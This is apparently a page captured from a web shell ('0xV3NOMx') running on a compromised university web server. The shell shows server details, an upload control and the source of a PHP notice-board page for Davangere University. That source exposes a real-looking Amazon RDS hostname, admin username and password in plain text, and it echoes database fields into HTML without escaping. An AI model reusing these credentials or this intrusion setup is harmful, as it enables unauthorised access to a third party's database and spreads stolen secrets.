0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.244.240


Current Path : /var/www/html/dud/
Upload File :
Current File : /var/www/html/dud/index_15032021.php

<!DOCTYPE html>
<html>

<head>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="0" />
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    <title>Davangere University</title>
    <!-- Favicon-->
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    <link href="adm/plugins/bootstrap/css/bootstrap_adm.css" rel="stylesheet">

    <!-- Waves Effect Css -->
    <link href="adm/plugins/node-waves/waves.css" rel="stylesheet" />

    <!-- Custom Css -->
    <link href="adm/css/style_adm.css" rel="stylesheet">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin,cyrillic-ext" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css">
    <link href="adm/css/themes/all-themes.css" rel="stylesheet" />
    
</head>

<body>
    <!-- #END# Page Loader -->
    <!-- Top Bar -->
    
<?php

$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "Logisys2104";

$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_dud";
$query = "SELECT fpostno, flabel, ffilepath,fcolour,fnew FROM {$db}.postnotfn WHERE DATE_FORMAT(NOW(),'%Y-%m-%d') BETWEEN ffromdate AND ftodate ORDER BY forder";

$result = mysqli_query($conn, $query);

$count = mysqli_num_rows($result);


$query1 = "select funivname, date_format(now(), '%d/%m/%Y %r') as fdate from {$db}.control"; 

$result1 = mysqli_query($conn, $query1);
$row1 = mysqli_fetch_assoc($result1);

$nav =  '<nav class="navbar" style="background-color: #1ba0c7;">
        <div class="container-fluid" style="color: #fff;">
            <div class="col-md-12 m-t--5">
                <center>
                  <h2 class="brand" style="margin-left: 50px;">'.$row1['funivname'].'</h2>
              </center>
            </div>
        </div>
    </nav>';

echo $nav;



 $table="";

echo "<br/><br/><br/><br><br>";


if($count >0)
{

      while($row = mysqli_fetch_assoc($result))
      {

       
        $fnew=$row['fnew'];
        if($fnew =='T')
        { 
             $table .='<div class="col-lg-4 col-md-4 col-sm-12 col-xs-12">
                            
                            <a href="'.$row['ffilepath'].'" target="blank">
                            <div class="info-box bg-'.$row['fcolour'].' hover-expand-effect">
                                <div class="content">
                                    <div class="text">

                                    <img src="http://oasis.logisys.org/dud/new.gif" alt="" width="30" height="30">'.$row['flabel'].'</div>

                                </div>
                            </div></a></div>';
           
                                        
                              
        }
            
        else 
        {
                $table .='
                              <div class="col-lg-4 col-md-4 col-sm-12 col-xs-12">  
                            <a href="'.$row['ffilepath'].'" target="blank">
                            <div class="info-box bg-'.$row['fcolour'].' hover-expand-effect">
                                <div class="content">
                                    <div class="text">'.$row['flabel'].'</div>
                             </div>
                            </div></a>
                            </div>';
                                    

                               

        }
             
             
      }
                      
}
   
echo $table;



?>

    <script src="adm/plugins/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core Js -->
    <script src="adm/plugins/bootstrap/js/bootstrap.js"></script>

    <!-- Select Plugin Js -->
    <script src="adm/plugins/bootstrap-select/js/bootstrap-select.js"></script>

    <!-- Slimscroll Plugin Js -->
    <script src="adm/plugins/jquery-slimscroll/jquery.slimscroll.js"></script>

    <!-- Waves Effect Plugin Js -->
    <script src="adm/plugins/node-waves/waves.js"></script>

    <script src="adm/js/kusPhdAdm.js?v=28" type="text/javascript"></script>
     <script src="adm/js/MainPageCompressed.js"></script>
    <!-- Custom Js -->
    <script src="adm/js/admin.js"></script>
    <script src="adm/js/login.js"></script>
    <!-- Demo Js -->
    <script src="adm/js/demo.js"></script>

</body>
</html>